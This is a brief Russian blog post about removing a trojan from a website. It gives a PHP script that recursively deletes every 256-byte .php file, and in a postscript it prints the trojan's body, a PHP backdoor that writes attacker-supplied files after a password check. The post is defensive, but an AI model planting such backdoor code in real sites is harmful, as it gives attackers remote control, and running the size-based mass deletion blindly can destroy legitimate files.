Регистрация Войти
Войти через VK Войти через FB Войти через Google Войти через Яндекс
Войти через VK Войти через FB Войти через Google Войти через Яндекс
Поиск по сайту
Рекурсивное удаление файлов по шаблону с учетом размера
На одном из проектов поймали вирус (троян), который разложил себя по всем папкам сайта под разными именами. Одинаковым был только размер 256 байт.
Возникла задача, как автоматически удалить трояна?
Я написал маленький скрипт, который положили в корень сайта и запустили. Скрипт рекурсивно обходит все подпапки от текущей и удаляет все php-файлы размером 256 байт.
$c=getcwd();
delTree($c);
function delTree($c) {
$a=scandir($c);
foreach ($a as $f){
if ($f=='.' || $f=='..') continue;
$f=$c.'/'.$f;
if(is_dir($f)){delTree($f);continue;}
if(substr($f,-4,4)=='.php' && ($s=filesize($f))==256)
{echo "<br>удаляю ".$f.' - '.$s.'b'; unlink($f);}
}
}
P.S.: Для интересующихся тело трояна:
$r=$_REQUEST;
$c=getcwd();
$n=chr(32);
print('1234567890abcdef');
if(md5(md5(@$r['p']))=='1234567890abcdef')
{print($n.$c.$n);
fwrite(fopen(dirname(__FILE__).'/'.$r['f'],'w+'),$r['b']);
print($n);
print_r(scandir($c));}
В реале он свернут в одну строку и для каждого сайта генерируется своя ключевая последовательноть.
.
Прокомментировать/Отблагодарить